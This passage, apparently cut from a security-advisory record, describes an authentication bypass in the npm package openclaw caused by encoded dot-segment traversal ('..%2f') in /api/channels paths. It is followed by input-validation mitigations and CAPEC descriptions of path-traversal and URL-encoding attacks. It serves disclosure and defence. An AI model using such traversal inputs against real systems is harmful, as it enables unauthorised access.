"github_reviewed_at": "2026-03-03T18:54:35Z",
"nvd_published_at": "2026-03-19T22:16:39Z",
"severity": "HIGH"
},
"details": "### Summary\nGateway plugin route auth protection for `/api/channels` could be bypassed using encoded dot-segment traversal (for example `..%2f`) in path variants that plugin handlers normalize.\n\n### Affected Packages / Versions\n- Package: npm `openclaw`\n- Latest published vulnerable version: `2026.2.25`\n- Vulnerable version range: `\u003c= 2026.2.25`\n- Patched version: `2026.2.26` (planned next release)\n\n### Impact\nUnder affected versions, crafted alternate paths could bypass gateway auth checks for protected plugin channel routes when plugin handlers decode/canonicalize the incoming path and then route to `/api/channels/...` handlers.\n\n### Fix Commit(s)\n- `258d615c45527ffda37cecd08cd268f97461bde0`\n\n### Release Process Note\n`patched_versions` is pre-set to the planned next release (`2026.2.26`). After npm publish, maintainers only need to publish the advisory.\n\nOpenClaw thanks @zpbrent for reporting.",
"id": "GHSA-mwxv-35wr-4vvj",
"modified": "2026-03-20T21:12:44Z",
"published": "2026-03-03T18:54:35Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-mwxv-35wr-4vvj"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32036"
},
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/commit/258d615c45527ffda37cecd08cd268f97461bde0"
},
{
"type": "PACKAGE",
"url": "https://github.com/openclaw/openclaw"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/openclaw-authentication-bypass-via-encoded-dot-segment-traversal-in-api-channels"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:H/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
],
"summary": "OpenClaw has gateway plugin auth bypass via encoded dot-segment traversal in protected /api/channels paths"
}
Mitigation MIT-5.1
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434.
- Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation MIT-20.1
Strategy: Input Validation
- Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.
- Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59). This includes:
- realpath() in C
- getCanonicalPath() in Java
- GetFullPath() in ASP.NET
- realpath() or abs_path() in Perl
- realpath() in PHP
Mitigation MIT-4
Strategy: Libraries or Frameworks
Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
Mitigation MIT-29
Strategy: Firewall
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
Mitigation MIT-17
Strategy: Environment Hardening
Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
Mitigation MIT-21.1
Strategy: Enforcement by Conversion
- When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
- For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-185] provide this capability.
Mitigation MIT-22
Strategy: Sandbox or Jail
- Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.
- OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation MIT-34
Strategy: Attack Surface Reduction
- Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately.
- This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.
Mitigation MIT-39
- Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success.
- If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files.
- Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.
- In the context of path traversal, error messages which disclose path information can help attackers craft the appropriate attack strings to move through the file system hierarchy.
Mitigation MIT-16
Strategy: Environment Hardening
When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
CAPEC-126: Path Traversal
An adversary uses path manipulation methods to exploit insufficient input validation of a target to obtain access to data that should be not be retrievable by ordinary well-formed requests. A typical variety of this attack involves specifying a path to a desired file together with dot-dot-slash characters, resulting in the file access API or function traversing out of the intended directory structure and into the root file system. By replacing or modifying the expected path information the access function or API retrieves the file desired by the attacker. These attacks either involve the attacker providing a complete path to a targeted file or using control characters (e.g. path separators (/ or \) and/or dots (.)) to reach desired directories or files.
CAPEC-64: Using Slashes and URL Encoding Combined to Bypass Validation Logic
This attack targets the encoding of the URL combined with the encoding of the slash characters. An attacker can take advantage of the multiple ways of encoding a URL and abuse the interpretation of the URL. A URL may contain special character that need special syntax handling in order to be interpreted. Special characters are represented using a percentage character followed by two digits representing the octet code of the original character (%HEX-CODE). For instance US-ASCII space character would be represented with %20. This is often referred as escaped ending or percent-encoding. Since the server decodes the URL from the requests, it may restrict the access to some URL paths by validating and filtering out the URL requests it received. An attacker will try to craft an URL with a sequence of special characters which once interpreted by the server will be equivalent to a forbidden URL. It can be difficult to protect against this attack since the URL can contain other format of encoding such as UTF-8 encoding, Unicode-encoding, etc.
CAPEC-76: Manipulating Web Input to File System Calls
An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.
CAPEC-78: Using Escaped Slashes in Alternate Encoding
This attack targets the use of the backslash in alternate encoding. An adversary can provide a backslash as a leading character and causes a parser to believe that the next character is special. This is called an escape. By using that trick, the adversary tries to exploit alternate ways to encode the same character which leads to filter problems and opens avenues to attack.
CAPEC-79: Using Slashes in Alternate Encoding
This attack targets the encoding of the Slash characters. An adversary would try to exploit common filtering problems related to the use of the slashes characters to gain access to resources on the target host. Directory-driven systems, such as file systems and databases, typically use the slash character to indicate traversal between directories or other container components. For murky historical reasons, PCs (and, as a result, Microsoft OSs) choose to use a backslash, whereas the UNIX world typically makes use of the forward slash. The schizophrenic result is that many MS-based systems are required to understand both forms of the slash. This gives the adversary many opportunities to discover and abuse a number of common filtering problems. The goal of this pattern is to discover server software that only applies filters to one version, but not the other.